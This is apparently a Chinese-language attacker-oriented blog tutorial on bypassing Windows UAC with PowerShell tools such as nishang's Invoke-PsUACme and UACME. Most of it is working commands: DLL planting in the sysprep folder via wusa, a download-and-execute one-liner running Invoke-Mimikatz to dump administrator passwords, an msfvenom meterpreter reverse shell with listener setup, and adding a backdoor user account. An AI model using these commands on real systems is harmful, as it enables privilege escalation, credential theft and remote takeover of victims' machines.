使用Powershell Bypass UAC

0x00 简介

UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。许多情况下,我们获取了反弹的shell但是由于UAC这个烦人的东西并不能获取最高的权限,今天主要介绍使用powershell来bypass uac从而获取更高的权限。

0x01 Bypass UAC

通常绕过UAC的方法如下:

  • step1: 复制DLL文件到C:\Windows\System32\sysprep目录,DLL的名字取决于操作系统版本,比如Windows7为CRYPTBASE.dll,Windows8为shcore.dll。
  • step2:从上面的目录执行Sysprep.exe。他将加载上面的DLL,完成权限的提升。

具体dll名及利用exe如下表:

EDDA46A0-E2D7-47B7-9018-857B0D60CCDC.png

总结了一下突破Windows UAC的方式主要有以下几种:

  • 1、使用IFileOperation COM接口;
  • 2、使用Wusa.exe的extract选项;
  • 3、远程注入SHELLCODE 到傀儡进程;
  • 4、DLL劫持,劫持系统的DLL文件;
  • 5、直接提权过UAC;
  • 6、MS15-076(感觉上也可以用到) POC

部分方式需要我们将DLL文件拷贝到相应的目录,这里拿Sysprep来做测试,要往这个目录拷贝文件需要管理员的权限,直接copy是不可以的,本文介绍的脚本使用了第二种方式,下面是一个测试。
使用copy:

1
C:\UAC>copy evil.dll C:\Windows\System32\sysprep\

1444279395999.png

使用Wusa.exe:

1
2
C:\> makecab C:\uac\evil.dll C:\uac\uac.cab
C:\> wusa C:\uac\uac.cab /extract:C:\Windows\System32\sysprep\

1444279504342.png

可以看到使用wusa成功拷贝。

0x02 Invoke-PsUACme

Invoke-PsUACme 是nishang的一个脚本,该脚本使用了列表中的几个方式来进行bypass UAC,目前支持Win7 ,Win8,由于Win10的wusa extract选项不在受支持,所以此脚本并不适用于Win10。
该脚本的所使用的DLL来自于开源项目UACME。nishang作者对代码进行了一下简单地修改,这里就不详细说了。
这里介绍一下脚本的使用,加载脚本:

1
PS C:\UAC> . .\Invoke-PsUACme.ps1

查看说明:

1
PS C:\UAC> help Invoke-PsUACme

主要参数说明:Payload为自定义要执行的程序;method为bypass的方式,包括Sysprep,OOBE,ActionQueue等几种;Verbose显示程序运行过程;CustomDLL64,CustomDLL32可以指定自定义DLL。

执行:

1
PS C:\UAC> Invoke-PsUACme -Verbose

1444280708707.png

使用Sysprep执行payload:

1
PS C:\UAC> Invoke-PsUACme -method sysprep -Payload "cmd.exe"

1444280844406.png

执行某个自定义程序需要在payload出填写绝对路径

自定义DLL:

1
PS C:\> Invoke-PSUACMe -CustomDll64 C:\test\test64.dll -CustomDll32 C:\test\test32.dll -Verbose"

0x03 能做什么

1)通过bypass UAC我们可以通过普通的cmd抓到管理员密码。
普通cmd运行在线抓明文:

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

1444282116870.png

bypass UAC以后:

1
2
PS C:\UAC> . .\Invoke-PsUACme.ps1
PS C:\UAC> Invoke-PsUACme -Payload "powershell -noexit IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

1444282332596.png

2) 让meterpreter获得更高的权限。
生成payload:

1
☁  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8889 -f psh-reflection

将输出文件保存为psh.ps1

msf开启监听:

1
2
3
4
5
6
7
8
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost x.x.x.x
lhost => x.x.x.x
msf exploit(handler) > set lport 8889
lport => 8889
msf exploit(handler) > exploit

普通cmd执行:

1444283744791.png

bypass UAC 以后执行:

1444284083158.png

0x04 Win10 Bypass UAC

我修改了一个使用远程注入方式Bypass UAC的powersell脚本以支持Win10,脚本地址:戳我

使用方式与nishang不同,并没有回显,使用win10进行测试:

1
2
PS F:\drops\UAC> . .\invoke-BypassUAC.ps1
PS F:\drops\UAC> invoke-BypassUAC -Command 'net user 1 "Password123!" /add'

1444287918484.png

除了上面的脚本,UACME也很好的支持win10,使用方式为:

1
2
3
4
akagi32.exe 1
akagi64.exe 3
akagi32 1 c:\windows\system32\calc.exe
akagi64 3 c:\windows\system32\cmd.exe

0x05 小结

绕过UAC能获取更高的权限,你还发愁抓密码么?

------本文结束,感谢阅读------